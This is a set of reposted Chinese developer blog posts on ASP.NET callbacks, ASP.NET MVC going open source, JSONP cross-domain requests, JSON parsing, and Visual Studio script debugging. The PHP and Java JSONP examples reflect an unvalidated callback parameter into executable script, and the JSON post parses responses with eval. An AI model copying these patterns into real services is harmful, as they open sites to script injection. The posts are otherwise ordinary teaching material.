xmlRequestFrame.document.forms[0].appendChild(callbackIdFieldElement); 
var callbackParamFieldElement = xmlRequestFrame.document.createElement("INPUT"); 
callbackParamFieldElement.type = "hidden"; 
callbackParamFieldElement.name = "__CALLBACKPARAM"; 
callbackParamFieldElement.value = eventArgument; 
xmlRequestFrame.document.forms[0].appendChild(callbackParamFieldElement); 
if (theForm["__EVENTVALIDATION"]) { 
var callbackValidationFieldElement = xmlRequestFrame.document.createElement("INPUT"); 
callbackValidationFieldElement.type = "hidden"; 
callbackValidationFieldElement.name = "__EVENTVALIDATION"; 
callbackValidationFieldElement.value = theForm["__EVENTVALIDATION"].value; 
xmlRequestFrame.document.forms[0].appendChild(callbackValidationFieldElement); 
} 
var callbackIndexFieldElement = xmlRequestFrame.document.createElement("INPUT"); 
callbackIndexFieldElement.type = "hidden"; 
callbackIndexFieldElement.name = "__CALLBACKINDEX"; 
callbackIndexFieldElement.value = callbackIndex; 
xmlRequestFrame.document.forms[0].appendChild(callbackIndexFieldElement); 
xmlRequestFrame.document.forms[0].submit(); 
} 
}, 10); 
}

原来在最开始初始化客户端回调的方法就是为了在不能够正确创建ajax对象的时候,将表单的值全部初始化到另外的iframe里面去的。
好了,整个ASP.NET客户端回调的请求发送部分分析完了,看来回调部分要下次了。

[转载]ASP.NET MVC 4, ASP.NET Web API, ASP.NET Web Pages v2 (Razor)全部开源

mikel阅读(769)

[转载]ASP.NET MVC 4, ASP.NET Web API, ASP.NET Web Pages v2 (Razor)全部开源,并接受来自社区的贡献(contributions) – 阿福 – 博客园.

来自Scott Guthrie以及Scott Hanselman博客的消息,ASP.NET MVC 4, ASP.NET Web API, ASP.NET Web Pages v2 (Razor)全部开源,并接受来自社区的贡献(contributions)。

源码仍通过CodePlex发布,地址是http://aspnetwebstack.codeplex.com/。CodePlex目前也支持Git了。为什么没有选择流行的GitHub而仍然使用CodePlex,Scott Hanselman博客里也做了解释,似乎是CodePlex也将会有重大的升级,也会变得越来越好。

ASP.NET MVC 发布以来一直就是开源的,但这次开源不仅仅是新增了2个产品而已(web api,web pages)。之前微软对ASP.NET MVC的开源仅仅是公布了源码,社区开发人员并不能实际的直接参与到产品的开发。从这次开始,社区人员可以直接参与这些产品的开发了,贡献代码(code contribution),提交bugfix或单元测试,share idea等。这些产品也会集成越来越多的来自社区的技术或产品,如已经集成的JQuery, JQuery UI, jQuery Mobile, jQuery Validation, Modernizr.js, NuGet, Knockout.js and JSON.NET等。

开源的目的是为了更紧密地增强与社区的联系与互动(tighter feedback loop),但并不意味着以上产品将由社区主导进行发展(微软不是撒手不管了)。这些产品仍然作为微软完全支持的(fully supported)产品,独立或者作为Visual Studio的一部分(就像现在一样)发布,仍然由目前的开发团队进行开发和维护,微软对这一块的投入不会减少(其实一直是在增加)。

为什么ASP.NET Web Forms不开源?
Scott Hanselman在博客中解释说,目前开源的产品都是独立于.Net Framework之外的,也就是说没有与操作系统产生关联。Web Forms作为System.Web.dll的一部分,而后者与Windows Server平台有关联的部分。关联部分的代码不能被轻易的取代,除非更新.Net Framework或者操作系统。

[转载]使用 JSONP 实现跨域通信

mikel阅读(892)

转载使用 JSONP 实现跨域通信 – skyoo61 – 博客园.

简介

Asynchronous JavaScript and XML (Ajax) 是驱动新一代 Web 站点(流行术语为 Web 2.0 站点)的关键技术。Ajax 允许在不干扰 Web 应用程序的显示和行为的情况下在后台进行数据检索。使用 XMLHttpRequest 函数获取数据,它是一种 API,允许客户端 JavaScript 通过 HTTP 连接到远程服务器。Ajax 也是许多 mashup 的驱动力,它可将来自多个地方的内容集成为单一 Web 应用程序。

不过,由于受到浏览器的限制,该方法不允许跨域通信。如果尝试从不同的域请求数据,会出现安全错误。如果能控制数 据驻留的远程服务器并且每个请求都前往同一域,就可以避免这些安全错误。但是,如果仅停留在自己的服务器上,Web 应用程序还有什么用处呢?如果需要从多个第三方服务器收集数据时,又该怎么办?

理解同源策略限制

同源策略阻止从一个域上加载的脚本获取或操作另一个域上的文档属性。也就是说,受到请求的 URL 的域必须与当前 Web 页面的域相同。这意味着浏览器隔离来自不同源的内容,以防止它们之间的操作。这个浏览器策略很旧,从 Netscape Navigator 2.0 版本开始就存在。

克服该限制的一个相对简单的方法是让 Web 页面向它源自的 Web 服务器请求数据,并且让 Web 服务器像代理一样将请求转发给真正的第三方服务器。尽管该技术获得了普遍使用,但它是不可伸缩的。另一种方式是使用框架要素在当前 Web 页面中创建新区域,并且使用 GET 请求获取任何第三方资源。不过,获取资源后,框架中的内容会受到同源策略的限制。

克服该限制更理想方法是在 Web 页面中插入动态脚本元素,该页面源指向其他域中的服务 URL 并且在自身脚本中获取数据。脚本加载时它开始执行。该方法是可行的,因为同源策略不阻止动态脚本插入,并且将脚本看作是从提供 Web 页面的域上加载的。但如果该脚本尝试从另一个域上加载文档,就不会成功。幸运的是,通过添加 JavaScript Object Notation (JSON) 可以改进该技术。

JSON 和 JSONP

JSON 是用于在浏览器和服务器之间交换信息的轻量级数据格式(与 XML 相比)。JOSON 依赖于 JavaScript 开发人员,因为它是 JavaScript 对象的字符串表示。例如,假设有一个含两个属性的 ticker 对象:symbol 和 price。这是在 JavaScript 中定义 ticker 对象的方式:

var ticker = {symbol: 'IBM', price: 91.42};

并且这是它的 JSON 表示方式:

{symbol: 'IBM', price: 91.42}

1. 定义 showPrice 函数

function showPrice(data) {
    alert("Symbol: " + data.symbol + ", Price: " + data.price);
}

可以将 JSON 数据作为参数传递,以调用该函数:

showPrice({symbol: 'IBM', price: 91.42}); // alerts: Symbol: IBM, Price: 91.42

现在准备将这两个步骤包含到 Web 页面

 

2. 在 Web 页面中包含 showPrice 函数和参数

<script type="text/javascript">
function showPrice(data) {
    alert("Symbol: " + data.symbol + ", Price: " + data.price);
}
</script>
<script type="text/javascript">showPrice({symbol: 'IBM', price: 91.42});</script>

至此,本文已展示了如何将静态 JSON 数据作为参数调用 JavaScript 函数。不过,通过在函数调用中动态包装 JSON 数据可以用动态数据调用函数,这是一种动态 JavaScript 插入的技术。要查看其效果,将下面一行放入名为 ticker.js 的独立 JavaScript 文件中。

showPrice({symbol: 'IBM', price: 91.42});

现在改变 Web 页面中的脚本

3. 动态 JavaScript 插入代码

<script type="text/javascript">
// This is our function to be called with JSON data
function showPrice(data) {
    alert("Symbol: " + data.symbol + ", Price: " + data.price);
}
var url = “ticker.js”; // URL of the external script
// this shows dynamic script insertion
var script = document.createElement('script');
script.setAttribute('src', url);
// load the script
document.getElementsByTagName('head')[0].appendChild(script);
</script>

 

在 3 所示的例子中,动态插入的 JavaScript 代码位于 ticker.js 文件中,它将真正的 JSON 数据作为参数调用 showPrice()函数。

前面已经提到,同源策略不阻止将动态脚本元素插入文档中。也就是说,可以动态插入来自不同域的 JavaScript,并且这些域都携带 JSON 数据。这其实是真正的 JSONP(JSON with Padding):打包在函数调用中的 JSON 数据。注意,为了完成该操作,Web 页面必须在插入时具有已经定义好的回调函数,也就是我们例子中的 showPrice()

不过,所谓的 JSONP 服务(或 Remote JSON Service)是一种带有附加功能的 Web 服务,该功能支持在特定于用户的函数调用中打包返回的 JSON 数据。这种方法依赖于接受回调函数名作为请求参数的远程服务。然后该服务生成对该函数的调用,将 JSON 数据作为参数传递,在到达客户端时将其插入 Web 页面并开始执行。


JQuery 的 JSONP 支持

从 1.2 版本开始,JQuery 拥有对 JSONP 回调的本地支持。如果指定了 JSONP 回调,就可以加载位于另一个域的 JSON 数据,回调的语法为:url?callback=?

JQuery 自动将 ? 替换为要调用的生成函数名。清单 4 显示了该代码。

4. 使用 JSONP 回调

jQuery.getJSON(url+"&callback=?", function(data) {
    alert("Symbol: " + data.symbol + ", Price: " + data.price);
});

为此,jQuery 将一个全局函数附加到插入脚本时需要调用的窗口对象。另外,jQuery 也能优化非跨域调用。如果向同一个域发出请求,jQuery 就将其转化为普通 Ajax 请求。

使用 JSONP 支持的示例服务

在上一个例子中,使用了静态文件(ticker.js)将 JavaScript 动态插入到 Web 页面中。尽管返回了 JSONP 回复,但它不允许您在 URL 中定义回调函数名。这不是 JSONP 服务。因此,如何才能将其转换为真正的 JSONP 服务呢?可使用的方法很多。这里我们将分别使用 PHP 和 Java 展示两个示例。

首先,假设您的服务在所请求的 URL 中接受了一个名为 callback 的参数。(参数名不重要,但是客户和服务器必须都同意该名称)。另外假设向服务发送的请求是这样的:

http://www.yourdomain.com/jsonp/ticker?symbol=IBM&callback=showPrice

在这种情况下,symbol 是表示请求 ticker symbol 的请求参数,而 callback 是 Web 应用程序的回调函数的名称。使用 5 所示的代码可以通过 jQuery 的 JSONP 支持调用该服务。

5. 调用回调服务

function(data) {
    alert("Symbol: " + data.symbol + ", Price: " + data.price);
});

 

注意,我们使用 ? 作为回调函数名,而非真实的函数名。因为 jQuery 会用生成的函数名替换 ?。所以您不用定义类似于 showPrice() 的函数。

6 显示了用 PHP 实现的 JSONP 服务的一段代码。

6. 用 PHP 实现的 JSONP 服务的代码片段

$jsonData = getDataAsJson($_GET['symbol']);
echo $_GET['callback'] . '(' . $jsonData . ');';
// prints: jsonp1232617941775({"symbol" : "IBM", "price" : "91.42"});

7 显示了具有同样功能的 Java™ Servlet 方法。

7. 用 Java servlet 实现的 JSONP 服务

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
  throws ServletException, IOException {
    String jsonData = getDataAsJson(req.getParameter("symbol"));
    String output = req.getParameter("callback") + "(" + jsonData + ");";
    resp.setContentType("text/javascript");
          
    PrintWriter out = resp.getWriter();
    out.println(output);
    // prints: jsonp1232617941775({"symbol" : "IBM", "price" : "91.42"});
}

 

那么,如果要构建 mashup 应该怎么办,是从第三方服务器收集内容,并在单一的 Web 页面中显示它们吗?答案很简单:您必须使用第三方 JSONP 服务。这种服务并不少。

现成的 JSONP 服务

知道如何使用 JSONP 之后,可以开始使用一些现成的 JSONP Web 服务来构建应用程序和 mashup。下面为接下来的开发项目做准备。(提示:您可以复制特定的 URL 并将其粘贴到浏览器的地址栏,以检查生成的 JSONP 响应)。

Digg API:来自 Digg 的头条新闻:

http://services.digg.com/stories/top?appkey=http%3A%2F%2Fmashup.com&type=javascript
&callback=?

Geonames API:邮编的位置信息:

http://www.geonames.org/postalCodeLookupJSON?postalcode=10504&country=US&callback=?

Flickr API:来自 Flickr 的最新猫图片:

http://api.flickr.com/services/feeds/photos_public.gne?tags=cat&tagmode=any
&format=json&jsoncallback=?

Yahoo Local Search API:在邮编为 10504 的地区搜索比萨:

http://local.yahooapis.com/LocalSearchService/V3/localSearch?appid=YahooDemo&query=pizza
&zip=10504&results=2&output=json&callback=?

 

重要提示

JSONP 是构建 mashup 的强大技术,但不幸的是,它并不是所有跨域通信需求的万灵药。它有一些缺陷,在提交开发资源之前必须认真考虑它们。第一,也是最重要的一点,没有关于 JSONP 调用的错误处理。如果动态脚本插入有效,就执行调用;如果无效,就静默失败。失败是没有任何提示的。例如,不能从服务器捕捉到 404 错误,也不能取消或重新开始请求。不过,等待一段时间还没有响应的话,就不用理它了。(未来的 jQuery 版本可能有终止 JSONP 请求的特性)。

JSONP 的另一个主要缺陷是被不信任的服务使用时会很危险。因为 JSONP 服务返回打包在函数调用中的 JSON 响应,而函数调用是由浏览器执行的,这使宿主 Web 应用程序更容易受到各类攻击。如果打算使用 JSONP 服务,了解它能造成的威胁非常重要。

[转载]关于json的一点总结

mikel阅读(939)

[转载]关于json的一点总结 – 雨蛇竹子 – 博客园.

json一般用在少量的数据处理。因为格式简单,操作方便,而且JavaScript本事就支持json格式的处理功能。所以建议大家使用

json一般格式如下:{“id”:”1″,”name”:”abc”}或者[{“id”:”1″,”name”:”abc”},{“id”:”1″,”name”:”abc”}]

下面是js中几种解释json格式的方法:

1,eval(‘(‘+json+’)’)
为什么这样写:主要是因为在JavaScript中,表达式语句不允许以左花括号”{“开始,如果这样做,会与块语句产生混淆.在使用eval()解析JSON文本时,为了解决这个问题,就需要加上圆括号.圆括号作为分组运算符,可以对包围在其中的表达式求职.
2,var strJSON= (new Function(“return ” + json))();
通过创建方法的方式解释json
3,var strJSON= JSON.parse(json);
注意:这种方法能够解释的json格式必须键值对都要加双引号,不然解释不了json格式

实例
json.aspx页面:

<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="json.aspx.cs" Inherits="web.javascript.json.json" %>
 
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title></title>
</head>
<body>
    <form id="form1" runat="server">
    <div id="div1">
    </div>
    <input type="button" id="btn" value="but" />
    </form>
 
    <script type="text/javascript" src="http://www.cnblogs.com/script/jquery-1.7.1.min.js"></script>
 
    <script type="text/javascript">
 
        // 异步处理json对象
 
        $("#btn").click(function() {
            $.ajax({
                url: "json.ashx",
                type: "post",
                data: { id: "123" },
                datatype: "json",
                success: function(data) {
                    var strData = data;
                    alert("1-----------");
                    var str1 = eval("(" + data + ")");  // 第一种js解释json
 
                    alert("2-----------");
                    var str2 = (new Function("return " + strData))();  // 第二种js解释json
                    alert(str2.id + "  @  " + str2.name);
 
                    alert("3-----------");
                    var str3 = JSON.parse(strData);
                    alert(str3.id + "  @  " + str3.name);
 
                    // 处理多维json
                    var strSs = "";
                    alert(str1.length);
                    for (var i = 0; i < str1.length; ++i) {
                        strSs += str1[i].id + "@" + str1[i].name + "\n";
                    }
                    alert(strSs);
                },
                error: function(xhr, data, ts) {
                    alert(data);
                }
            });
        });
    </script>
 
</body>
</html>

json.ashx处理程序

using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Services;
 
namespace web.javascript.json
{
    /// <summary>
    /// $codebehindclassname$ 的摘要说明
    /// </summary>
    [WebService(Namespace = "http://tempuri.org/")]
    [WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
    public class json1 : IHttpHandler
    {
 
        public void ProcessRequest(HttpContext context)
        {
            context.Response.ContentType = "text/plain";
 
            // 多维
            string strJSONs = "[{\"id\":1,\"name\":\"11\"},{\"id\":2,\"name\":\"22\"},{\"id\":3,\"name\":\"33\"}]";
            // 一维
            //string strJSONs={\"id\":\"123\",\"name\":\"qwe\"}
 
            context.Response.Write(strJSONs);
 
            context.Response.End();
        }
 
        public bool IsReusable
        {
            get
            {
                return false;
            }
        }
    }
}

以上是本人在实际项目中的总结,希望对大家有帮助,同时也希望大家多多指点。

[转载]利用Visual Studio调试JavaScript脚本

mikel阅读(1083)

[转载]利用Visual Studio调试JavaScript脚本 – 3S 天空 – 博客园.

大家如果用过JavaScript一定对它的调试感到很头痛吧,浏览器所返回给你的错误信息基本没有任何意义。一个很小的错误可能导致调试大半天,费时费力。

先说些废话= =b…昨天公布了研究生寝室分配结果,但由于每个人只能看到自己的,非常不爽,不知道自己套间里都有些谁,联系到前几周泄漏出来“自然辩证法学生名 单”里提供了所有查询需要的信息,所以今天写了个程序来“找室友”…其实这程序很早之前就想写的,因为我们的毕业照的查询网站也很sb…轻松就能 搞到所有同学的毕业照…但当时比较忙…就一直没去写(虽然灰常简单= =b,但偶没写过类似的程序…(偶是废人…)还是要研究一下的…),现在后悔来不及了…网站撤了…囧死…所以今天一不做二不休, 赶紧码了个破段子出来,了解大家都住在哪也是有用滴嘛,偶哈哈哈

那么言归正传…虽然用ASP.NET啦,PHP啦,XXX啦都能干这件事…我还是选了js,毕竟在RIA时代…js那是正途啊,总是要学的,不如现在学。所以现在的问题就是js怎么调试了…恩,听我娓娓道来(pia飞…快说…)

我们用到的调试工具是Visual Studio(偶用的2008,偶确信2005也行,不晓得2005以前的行不行,按理来说应该也可以,只是操作上有些区别)。

首先,打开一个IE,并用Visual Studio打开你要调试的脚本/网页(Embeded Script),如下图。

image

然后呢,我们将当前的Visual Studio调试器Attach到浏览器上,Debug->Attach to Process…

image

在弹出的对话框中,确认Attach to:到Script code,因为我们调试的是Script,如果缺省不是Script code,请按Select键选择Script。在Available Processes中选择iexplore.exe,就是浏览器进程。

image

现在,可以在脚本中下断点啦。比如我希望在下图的地方设置一个断点:

image

然后在IE中打开刚才那个网页,脚本就很听话的在你设置的地方断了下来,可以看到Locals,还有Immediate Window,这样调试是不是就很方便了呢,哈哈。

image

不过这个调试的缺点是只能用IE,Firefox则不行,所以Firefox的调试还是得要Firebug来搞,不过Firebug的调试脚本功能可就弱多咯。